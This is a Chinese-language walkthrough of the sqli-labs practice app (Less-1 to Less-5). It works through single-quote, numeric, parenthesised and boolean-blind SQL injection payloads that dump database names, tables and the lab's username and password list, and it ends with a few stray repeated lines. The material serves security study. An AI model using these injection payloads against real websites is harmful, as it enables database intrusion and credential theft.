基础语句
select schema_name from information_schema.schemata # 爆库
select table_name from information_schema.tables where table_schema='xxx' # 猜表
select column_name from information_schema.columns where table_name='xxx' # 猜字段
select xxx from xxx # 猜内容
less-1 单引号注入
?id=1 返回正常
?id=1' 返回 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
所以存在字符型注入?id=1' order by 11 --+ Unknown column '11' in 'order clause'
?id=1' order by 6 --+ Unknown column '6' in 'order clause'
?id=1' order by 3 --+ 返回正常
?id=1' and 1=2 union select 1,2,3 --+ 返回2,3
也可以 ?id=-1' union select 1,2,3 --+?id=1' and 1=2 union select 1,database(),user() --+ 返回security, root@localhost
也可以 ?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+ (优点:可以爆出所有库)?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
返回emails,referers,uagents,users?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
返回user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password?id=1' and 1=2 union select 1,group_concat(username,";" ,password),3 from users--+
返回Dumb;Dumb,Angelina;I-kill-you,Dummy;p@ssword,secure;crappy,stupid;stupidity,superman;genious,batman;mob!le,admin;admin,admin1;admin1,admin2;admin2,admin3;admin3,dhakkan;dumbo,admin4;admin4
less-2 数字型注入
?id=1' 返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
有可能是数字型注入
?id=1 and 1=2 --+ 没有回显
其余的payload与less1一致,去掉单引号就行
less-3
?id=1') and 1=2--+ 没有回显
其余的payload与less1一致, 只是将单引号改成 ' ') '
less-4
?id=1" 报错
?id=1") and 1=2--+ 没有回显
其余的payload与less1一致, 只是将单引号改成 ' ") '
盲注:
首先看几个函数
left(a,b):从左侧截取a的前b位
ascii('x') 返回'x'的ascii码
substr(a,b,c) 从b位置起,截取字符串a的c长度
mid(a,b,c) 从位置b起, 截取字符串a的c位
ord() 同ascii()
if(expr1,expr2,expr3) 如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL)，则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值，具体情况视其所在语境而定。
length() 返回长度
less-5
?id=1 返回You are in...........
?id=1' 返回You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
?id=1' and left(database(),1)>'m' --+ 返回You are in...........
二分法查到第一位为s,第二位为e,然后得到数据库名security
用payload:
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='a' --+
查询到第一张表email
也可以用ascii()
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))='101' --+
less-1
less-1
less-1
less-1
